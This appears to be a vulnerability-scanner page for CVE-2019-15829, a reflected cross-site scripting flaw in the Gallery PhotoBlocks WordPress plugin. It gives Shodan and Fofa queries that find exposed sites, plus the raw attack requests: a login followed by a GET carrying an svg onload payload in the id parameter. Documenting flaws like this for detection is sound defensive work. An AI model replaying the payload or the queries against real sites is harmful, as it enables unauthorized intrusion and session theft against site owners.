| Title | Gallery Photoblocks < 1.1.43 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Authenticated attackers can inject malicious JavaScript through the id parameter, potentially stealing admin session cookies or performing privileged actions on behalf of administrators. |
| Remediation | Fixed in 1.1.43 |
| CVSS Score | 4.8 |
| EPSS Score | 0.01087 |
| CVE ID | CVE-2019-15829 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/photoblocks-grid-gallery/ |
| Fofa Query | body=/wp-content/plugins/photoblocks-grid-gallery/ |
| Tags | cve cve2019 wp wordpress wp-plugin photoblocks-gallery xss authenticated wpscan greentreelabs vuln |
The Gallery PhotoBlocks WordPress plugin was affected by an Authenticated Reflected XSS security vulnerability.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=A4B3rB&pwd=FdPv4x&wp-submit=Log+In
GET /wp-admin/admin.php?page=photoblocks-edit&id=%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:140.) Gecko/20100101 Firefox/140.
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-15829.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-15829.pcap
N/AN/A